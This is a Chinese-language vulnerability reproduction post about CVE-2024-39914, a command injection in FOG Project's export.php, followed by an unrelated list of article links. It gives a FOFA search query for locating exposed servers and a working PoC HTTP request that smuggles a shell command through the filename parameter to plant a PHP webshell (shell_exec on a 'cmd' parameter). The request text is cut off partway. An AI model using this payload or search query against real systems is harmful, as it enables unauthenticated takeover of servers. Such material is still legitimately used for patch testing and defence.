当前位置: 首页 > news >正文

FOG Project 文件名命令注入漏洞复现(CVE-2024-39914)

0x01 产品简介

FOG是一个开源的计算机镜像解决方案,旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具,使用户能够快速部署操作系统、软件和配置设置到多台计算机上,从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还原、硬件和软件清单管理、远程控制和监视等功能,为 IT 管理员和系统管理员提供了一个全面的工具集。

0x02 漏洞概述

该漏洞在FOGPROJECT中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响,该漏洞存在于/fog/management/export.php的filename参数,未经身份验证的远程攻击者可利用此漏洞执行任意命令,获取服务器权限。

0x03 影响范围

FOGPROJECT < 1.5.10.34

0x04 复现环境

FOFA:body="FOG Project"

0x05 漏洞复现

PoC

写入Webshell

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Qt Creator配置以及使用Valgrind - 检测内存泄露
  • vscode 打开远程bug vscode Failed to parse remote port from server output
  • react 快速入门思维导图
  • 【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 二进制游戏(200分)- 三语言AC题解(Python/Java/Cpp)
  • SqlServer: LAG等开窗函数应用
  • 网络编程-TCP/IP
  • H3CNE(计算机网络的概述)
  • K12智慧校园智能化解决方案
  • 数据库第二次作业
  • 下载最新版Anaconda、安装、更换源、配置虚拟环境并在vscode中使用
  • MATLAB图像处理分析基础(一)
  • Nuxt 使用指南:掌握 useNuxtApp 和运行时上下文
  • SpringMVC源码深度解析(中)
  • 计算机视觉篇5 图像的位置--边框
  • 面经学习(厦门安全狗实习)
  • ----------
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • C# 免费离线人脸识别 2.0 Demo
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 回流、重绘及其优化
  • 力扣(LeetCode)965
  • 写代码的正确姿势
  • 宾利慕尚创始人典藏版国内首秀,2025年前实现全系车型电动化 | 2019上海车展 ...
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • ​RecSys 2022 | 面向人岗匹配的双向选择偏好建模
  • # Swust 12th acm 邀请赛# [ K ] 三角形判定 [题解]
  • #1015 : KMP算法
  • #define,static,const,三种常量的区别
  • #pragma data_seg 共享数据区(转)
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (LLM) 很笨
  • (二)学习JVM —— 垃圾回收机制
  • (分布式缓存)Redis哨兵
  • (附源码)ssm航空客运订票系统 毕业设计 141612
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (附源码)ssm码农论坛 毕业设计 231126
  • (免费领源码)Java#Springboot#mysql农产品销售管理系统47627-计算机毕业设计项目选题推荐
  • (学习日记)2024.04.04:UCOSIII第三十二节:计数信号量实验
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (轉)JSON.stringify 语法实例讲解
  • *2 echo、printf、mkdir命令的应用
  • .Net Core 生成管理员权限的应用程序
  • .Net下使用 Geb.Video.FFMPEG 操作视频文件
  • /etc/fstab和/etc/mtab的区别
  • [20181219]script使用小技巧.txt
  • [CF703D]Mishka and Interesting sum/[BZOJ5476]位运算
  • [CLR via C#]11. 事件
  • [dts]Device Tree机制
  • [FreeRTOS 基础知识] 栈
  • [Git][分支管理][上]详细讲解
  • [Java] IDEA Scala环境搭建
  • [LeetCode] Longest Common Prefix 字符串公有前序
  • [M模拟] lc2844. 生成特殊数字的最少操作(简单易错+分类讨论+代码优化技巧)